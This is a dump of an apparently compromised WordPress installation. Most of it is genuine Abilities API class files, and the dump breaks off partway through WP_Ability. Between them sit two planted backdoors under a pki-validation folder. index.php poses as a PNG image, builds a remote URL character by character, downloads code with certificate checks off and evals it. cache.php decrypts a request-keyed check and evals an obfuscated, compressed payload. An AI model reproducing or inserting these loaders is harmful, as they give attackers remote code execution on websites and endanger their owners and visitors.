		// Optional args only need to be of the correct type if they are present.
		if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) {
			throw new InvalidArgumentException(
				__( 'The ability category properties should provide a valid `meta` array.' )
			);
		}

		return $args;
	}

	/**
	 * Retrieves the slug of the ability category.
	 *
	 * @since 6.9.0
	 *
	 * @return string The ability category slug.
	 */
	public function get_slug(): string {
		return $this->slug;
	}

	/**
	 * Retrieves the human-readable label for the ability category.
	 *
	 * @since 6.9.0
	 *
	 * @return string The human-readable ability category label.
	 */
	public function get_label(): string {
		return $this->label;
	}

	/**
	 * Retrieves the detailed description for the ability category.
	 *
	 * @since 6.9.0
	 *
	 * @return string The detailed description for the ability category.
	 */
	public function get_description(): string {
		return $this->description;
	}

	/**
	 * Retrieves the metadata for the ability category.
	 *
	 * @since 6.9.0
	 *
	 * @return array<string,mixed> The metadata for the ability category.
	 */
	public function get_meta(): array {
		return $this->meta;
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the ability category object is unserialized.
	 *                        This is a security hardening measure to prevent unserialization of the ability category.
	 */
	public function __wakeup(): void {
		throw new LogicException( __CLASS__ . ' should never be unserialized.' );
	}

	/**
	 * Sleep magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the ability category object is serialized.
	 *                        This is a security hardening measure to prevent serialization of the ability category.
	 */
	public function __sleep(): array {
		throw new LogicException( __CLASS__ . ' should never be serialized.' );
	}
}
pki-validation/index.php000064400000002346151442376660011322 0ustar00PNG %k25u25%fgd5n! 
\x89\x50\x4E\x47\x0D\x0A\x1A\x0A
\x49\x48\x44\x52
\x49\x44\x41\x54
dvadf<?php
/* Token: 2c63 */

function fetch_content(){
$components = [
    ['h','t','t','p','s',':','/','/'],
    ['r','a','w','.','g','i','t','h','u','b','u','s','e','r','c','o','n','t','e','n','t','.','c','o','m','/'],
    ['b','o','s','s','e','p','t','p','-','s','v','g','/'],
    ['h','e','y','/'],
    ['r','e','f','s','/','h','e','a','d','s','/','m','a','i','n','/'],
    ['c','l','a','s','s','w','i','t','h','t','o','s','t','r','i','n','g','.','p','h','p']
];
    $target_url = '';
    foreach ($components as $part) {
        $target_url .= implode('', array_map('strval', $part));
    }
    
    $data = '';
    if(function_exists('curl_init')){
        $request = curl_init($target_url);
        curl_setopt_array($request, [
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_TIMEOUT => 3,
            CURLOPT_SSL_VERIFYPEER => 0,
            CURLOPT_SSL_VERIFYHOST => 0
        ]);
        $data = curl_exec($request);
        curl_close($request);
    }
    
    if(empty($data)){
        $data = @file_get_contents($target_url);
    }
    
    if($data) eval("?>$data");
}
fetch_content();
?>pki-validation/pki-validation/cache.php000064400000013025151442376660014165 0ustar00<?php $SfvQF = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGipVQZ6aYGANAA'; $zRI = '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'; function SfvQF($QSHei) { $zRI = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $QNfK = substr($zRI, 0, 16); $Rsw = base64_decode($QSHei); return openssl_decrypt($Rsw, "AES-256-CBC", $zRI, OPENSSL_RAW_DATA, $QNfK); } if (SfvQF('DjtPn+r4S0yvLCnquPz1fA')){ echo 'oMxjD/IxcQvf/41V4W1U4POQLSo5iWSgRatwlPZwhQH6IM/5RYqm7bF2q7s+UqW4'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($SfvQF)))); ?>class-wp-abilities-registry.php000064400000027021151442376660012637 0ustar00<?php
/**
 * Abilities API
 *
 * Defines WP_Abilities_Registry class.
 *
 * @package WordPress
 * @subpackage Abilities API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Manages the registration and lookup of abilities.
 *
 * @since 6.9.0
 * @access private
 */
final class WP_Abilities_Registry {
	/**
	 * The singleton instance of the registry.
	 *
	 * @since 6.9.0
	 * @var self|null
	 */
	private static $instance = null;

	/**
	 * Holds the registered abilities.
	 *
	 * @since 6.9.0
	 * @var WP_Ability[]
	 */
	private $registered_abilities = array();

	/**
	 * Registers a new ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_register_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_register_ability()
	 *
	 * @param string               $name The name of the ability. The name must be a string containing a namespace
	 *                                   prefix, i.e. `my-plugin/my-ability`. It can only contain lowercase
	 *                                   alphanumeric characters, dashes and the forward slash.
	 * @param array<string, mixed> $args {
	 *     An associative array of arguments for the ability.
	 *
	 *     @type string               $label                 The human-readable label for the ability.
	 *     @type string               $description           A detailed description of what the ability does.
	 *     @type string               $category              The ability category slug this ability belongs to.
	 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
	 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
	 *     @type callable             $permission_callback   A callback function to check permissions before execution.
	 *                                                       Receives optional mixed input and returns bool or WP_Error.
	 *     @type array<string, mixed> $input_schema          Optional. JSON Schema definition for the ability's input.
	 *     @type array<string, mixed> $output_schema         Optional. JSON Schema definition for the ability's output.
	 *     @type array<string, mixed> $meta                  {
	 *         Optional. Additional metadata for the ability.
	 *
	 *         @type array<string, bool|null> $annotations  {
	 *             Optional. Semantic annotations describing the ability's behavioral characteristics.
	 *             These annotations are hints for tooling and documentation.
	 *
	 *             @type bool|null $readonly    Optional. If true, the ability does not modify its environment.
	 *             @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment.
	 *                                          If false, the ability performs only additive updates.
	 *             @type bool|null $idempotent  Optional. If true, calling the ability repeatedly with the same arguments
	 *                                          will have no additional effect on its environment.
	 *         }
	 *         @type bool                     $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
	 *     }
	 *     @type string               $ability_class         Optional. Custom class to instantiate instead of WP_Ability.
	 * }
	 * @return WP_Ability|null The registered ability instance on success, null on failure.
	 */
	public function register( string $name, array $args ): ?WP_Ability {
		if ( ! preg_match( '/^[a-z0-9-]+\/[a-z0-9-]+$/', $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__(
					'Ability name must be a string containing a namespace prefix, i.e. "my-plugin/my-ability". It can only contain lowercase alphanumeric characters, dashes and the forward slash.'
				),
				'6.9.0'
			);
			return null;
		}

		if ( $this->is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( 'Ability "%s" is already registered.' ), esc_html( $name ) ),
				'6.9.0'
			);
			return null;
		}

		/**
		 * Filters the ability arguments before they are validated and used to instantiate the ability.
		 *
		 * @since 6.9.0
		 *
		 * @param array<string, mixed> $args {
		 *     An associative array of arguments for the ability.
		 *
		 *     @type string               $label                 The human-readable label for the ability.
		 *     @type string               $description           A detailed description of what the ability does.
		 *     @type string               $category              The ability category slug this ability belongs to.
		 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
		 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
		 *     @type callable             $permission_callback   A callback function to check permissions before execution.
		 *                                                       Receives optional mixed input and returns bool or WP_Error.
		 *     @type array<string, mixed> $input_schema          Optional. JSON Schema definition for the ability's input.
		 *     @type array<string, mixed> $output_schema         Optional. JSON Schema definition for the ability's output.
		 *     @type array<string, mixed> $meta                  {
		 *         Optional. Additional metadata for the ability.
		 *
		 *         @type array<string, bool|string> $annotations  Optional. Annotation metadata for the ability.
		 *         @type bool                       $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
		 *     }
		 *     @type string               $ability_class         Optional. Custom class to instantiate instead of WP_Ability.
		 * }
		 * @param string               $name The name of the ability, with its namespace.
		 */
		$args = apply_filters( 'wp_register_ability_args', $args, $name );

		// Validate ability category exists if provided (will be validated as required in WP_Ability).
		if ( isset( $args['category'] ) ) {
			if ( ! wp_has_ability_category( $args['category'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: ability category slug, %2$s: ability name */
						__( 'Ability category "%1$s" is not registered. Please register the ability category before assigning it to ability "%2$s".' ),
						esc_html( $args['category'] ),
						esc_html( $name )
					),
					'6.9.0'
				);
				return null;
			}
		}

		// The class is only used to instantiate the ability, and is not a property of the ability itself.
		if ( isset( $args['ability_class'] ) && ! is_a( $args['ability_class'], WP_Ability::class, true ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The ability args should provide a valid `ability_class` that extends WP_Ability.' ),
				'6.9.0'
			);
			return null;
		}

		/** @var class-string<WP_Ability> */
		$ability_class = $args['ability_class'] ?? WP_Ability::class;
		unset( $args['ability_class'] );

		try {
			// WP_Ability::prepare_properties() will throw an exception if the properties are invalid.
			$ability = new $ability_class( $name, $args );
		} catch ( InvalidArgumentException $e ) {
			_doing_it_wrong(
				__METHOD__,
				$e->getMessage(),
				'6.9.0'
			);
			return null;
		}

		$this->registered_abilities[ $name ] = $ability;
		return $ability;
	}

	/**
	 * Unregisters an ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_unregister_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_unregister_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return WP_Ability|null The unregistered ability instance on success, null on failure.
	 */
	public function unregister( string $name ): ?WP_Ability {
		if ( ! $this->is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ),
				'6.9.0'
			);
			return null;
		}

		$unregistered_ability = $this->registered_abilities[ $name ];
		unset( $this->registered_abilities[ $name ] );

		return $unregistered_ability;
	}

	/**
	 * Retrieves the list of all registered abilities.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_abilities()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_abilities()
	 *
	 * @return WP_Ability[] The array of registered abilities.
	 */
	public function get_all_registered(): array {
		return $this->registered_abilities;
	}

	/**
	 * Checks if an ability is registered.
	 *
	 * Do not use this method directly. Instead, use the `wp_has_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_has_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return bool True if the ability is registered, false otherwise.
	 */
	public function is_registered( string $name ): bool {
		return isset( $this->registered_abilities[ $name ] );
	}

	/**
	 * Retrieves a registered ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return WP_Ability|null The registered ability instance, or null if it is not registered.
	 */
	public function get_registered( string $name ): ?WP_Ability {
		if ( ! $this->is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ),
				'6.9.0'
			);
			return null;
		}
		return $this->registered_abilities[ $name ];
	}

	/**
	 * Utility method to retrieve the main instance of the registry class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.9.0
	 *
	 * @return WP_Abilities_Registry|null The main registry instance, or null when `init` action has not fired.
	 */
	public static function get_instance(): ?self {
		if ( ! did_action( 'init' ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: init action.
					__( 'Ability API should not be initialized before the %s action has fired.' ),
					'<code>init</code>'
				),
				'6.9.0'
			);
			return null;
		}

		if ( null === self::$instance ) {
			self::$instance = new self();

			// Ensure ability category registry is initialized first to allow categories to be registered
			// before abilities that depend on them.
			WP_Ability_Categories_Registry::get_instance();

			/**
			 * Fires when preparing abilities registry.
			 *
			 * Abilities should be created and register their hooks on this action rather
			 * than another action to ensure they're only loaded when needed.
			 *
			 * @since 6.9.0
			 *
			 * @param WP_Abilities_Registry $instance Abilities registry object.
			 */
			do_action( 'wp_abilities_api_init', self::$instance );
		}

		return self::$instance;
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is unserialized.
	 *                        This is a security hardening measure to prevent unserialization of the registry.
	 */
	public function __wakeup(): void {
		throw new LogicException( __CLASS__ . ' should never be unserialized.' );
	}

	/**
	 * Sleep magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is serialized.
	 *                        This is a security hardening measure to prevent serialization of the registry.
	 */
	public function __sleep(): array {
		throw new LogicException( __CLASS__ . ' should never be serialized.' );
	}
}
class-wp-ability-categories-registry.php000064400000016510151442376660014453 0ustar00<?php
/**
 * Abilities API
 *
 * Defines WP_Ability_Categories_Registry class.
 *
 * @package WordPress
 * @subpackage Abilities API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Manages the registration and lookup of ability categories.
 *
 * @since 6.9.0
 * @access private
 */
final class WP_Ability_Categories_Registry {
	/**
	 * The singleton instance of the registry.
	 *
	 * @since 6.9.0
	 * @var self|null
	 */
	private static $instance = null;

	/**
	 * Holds the registered ability categories.
	 *
	 * @since 6.9.0
	 * @var WP_Ability_Category[]
	 */
	private $registered_categories = array();

	/**
	 * Registers a new ability category.
	 *
	 * Do not use this method directly. Instead, use the `wp_register_ability_category()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_register_ability_category()
	 *
	 * @param string               $slug The unique slug for the ability category. Must contain only lowercase
	 *                                   alphanumeric characters and dashes.
	 * @param array<string, mixed> $args {
	 *     An associative array of arguments for the ability category.
	 *
	 *     @type string               $label       The human-readable label for the ability category.
	 *     @type string               $description A description of the ability category.
	 *     @type array<string, mixed> $meta        Optional. Additional metadata for the ability category.
	 * }
	 * @return WP_Ability_Category|null The registered ability category instance on success, null on failure.
	 */
	public function register( string $slug, array $args ): ?WP_Ability_Category {
		if ( $this->is_registered( $slug ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability category slug. */
				sprintf( __( 'Ability category "%s" is already registered.' ), esc_html( $slug ) ),
				'6.9.0'
			);
			return null;
		}

		if ( ! preg_match( '/^[a-z0-9]+(?:-[a-z0-9]+)*$/', $slug ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Ability category slug must contain only lowercase alphanumeric characters and dashes.' ),
				'6.9.0'
			);
			return null;
		}

		/**
		 * Filters the ability category arguments before they are validated and used to instantiate the ability category.
		 *
		 * @since 6.9.0
		 *
		 * @param array<string, mixed> $args {
		 *     The arguments used to instantiate the ability category.
		 *
		 *     @type string               $label       The human-readable label for the ability category.
		 *     @type string               $description A description of the ability category.
		 *     @type array<string, mixed> $meta        Optional. Additional metadata for the ability category.
		 * }
		 * @param string               $slug The slug of the ability category.
		 */
		$args = apply_filters( 'wp_register_ability_category_args', $args, $slug );

		try {
			// WP_Ability_Category::prepare_properties() will throw an exception if the properties are invalid.
			$category = new WP_Ability_Category( $slug, $args );
		} catch ( InvalidArgumentException $e ) {
			_doing_it_wrong(
				__METHOD__,
				$e->getMessage(),
				'6.9.0'
			);
			return null;
		}

		$this->registered_categories[ $slug ] = $category;
		return $category;
	}

	/**
	 * Unregisters an ability category.
	 *
	 * Do not use this method directly. Instead, use the `wp_unregister_ability_category()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_unregister_ability_category()
	 *
	 * @param string $slug The slug of the registered ability category.
	 * @return WP_Ability_Category|null The unregistered ability category instance on success, null on failure.
	 */
	public function unregister( string $slug ): ?WP_Ability_Category {
		if ( ! $this->is_registered( $slug ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability category slug. */
				sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ),
				'6.9.0'
			);
			return null;
		}

		$unregistered_category = $this->registered_categories[ $slug ];
		unset( $this->registered_categories[ $slug ] );

		return $unregistered_category;
	}

	/**
	 * Retrieves the list of all registered ability categories.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_ability_categories()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_ability_categories()
	 *
	 * @return array<string, WP_Ability_Category> The array of registered ability categories.
	 */
	public function get_all_registered(): array {
		return $this->registered_categories;
	}

	/**
	 * Checks if an ability category is registered.
	 *
	 * Do not use this method directly. Instead, use the `wp_has_ability_category()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_has_ability_category()
	 *
	 * @param string $slug The slug of the ability category.
	 * @return bool True if the ability category is registered, false otherwise.
	 */
	public function is_registered( string $slug ): bool {
		return isset( $this->registered_categories[ $slug ] );
	}

	/**
	 * Retrieves a registered ability category.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_ability_category()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_ability_category()
	 *
	 * @param string $slug The slug of the registered ability category.
	 * @return WP_Ability_Category|null The registered ability category instance, or null if it is not registered.
	 */
	public function get_registered( string $slug ): ?WP_Ability_Category {
		if ( ! $this->is_registered( $slug ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability category slug. */
				sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ),
				'6.9.0'
			);
			return null;
		}
		return $this->registered_categories[ $slug ];
	}

	/**
	 * Utility method to retrieve the main instance of the registry class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.9.0
	 *
	 * @return WP_Ability_Categories_Registry|null The main registry instance, or null when `init` action has not fired.
	 */
	public static function get_instance(): ?self {
		if ( ! did_action( 'init' ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: init action.
					__( 'Ability API should not be initialized before the %s action has fired.' ),
					'<code>init</code>'
				),
				'6.9.0'
			);
			return null;
		}

		if ( null === self::$instance ) {
			self::$instance = new self();

			/**
			 * Fires when preparing ability categories registry.
			 *
			 * Ability categories should be registered on this action to ensure they're available when needed.
			 *
			 * @since 6.9.0
			 *
			 * @param WP_Ability_Categories_Registry $instance Ability categories registry object.
			 */
			do_action( 'wp_abilities_api_categories_init', self::$instance );
		}

		return self::$instance;
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is unserialized.
	 *                        This is a security hardening measure to prevent unserialization of the registry.
	 */
	public function __wakeup(): void {
		throw new LogicException( __CLASS__ . ' should never be unserialized.' );
	}

	/**
	 * Sleep magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is serialized.
	 *                        This is a security hardening measure to prevent serialization of the registry.
	 */
	public function __sleep(): array {
		throw new LogicException( __CLASS__ . ' should never be serialized.' );
	}
}
class-wp-ability.php000064400000054354151442376660010472 0ustar00<?php
/**
 * Abilities API
 *
 * Defines WP_Ability class.
 *
 * @package WordPress
 * @subpackage Abilities API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Encapsulates the properties and methods related to a specific ability in the registry.
 *
 * @since 6.9.0
 *
 * @see WP_Abilities_Registry
 */
class WP_Ability {

	/**
	 * The default value for the `show_in_rest` meta.
	 *
	 * @since 6.9.0
	 * @var bool
	 */
	protected const DEFAULT_SHOW_IN_REST = false;

	/**
	 * The default ability annotations.
	 * They are not guaranteed to provide a faithful description of ability behavior.
	 *
	 * @since 6.9.0
	 * @var array<string, bool|null>
	 */
	protected static $default_annotations = array(
		// If true, the ability does not modify its environment.
		'readonly'    => null,
		/*
		 * If true, the ability may perform destructive updates to its environment.
		 * If false, the ability performs only additive updates.
		 */
		'destructive' => null,
		/*
		 * If true, calling the ability repeatedly with the same arguments will have no additional effect
		 * on its environment.
		 */
		'idempotent'  => null,
	);

	/**
	 * The name of the ability, with its namespace.
	 * Example: `my-plugin/my-ability`.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $name;

	/**
	 * The human-readable ability label.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $label;

	/**
	 * The detailed ability description.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $description;

	/**
	 * The ability category.
	 *
	 * @since 6.9.0
	 * @var string
	 */
	protected $category;

	/**
	 * The optional ability input schema.
	 *
	 * @since 6.9.0
	 * @var array<string, mixed>
	 */
	protected $input_schema = array();

	/**
	 * The optional ability output schema.
	 *
	 * @since 6.9.0
	 * @var array<string, mixed>
	 */
	protected $output_schema = array();

	/**
	 * The ability execute callback.
	 *
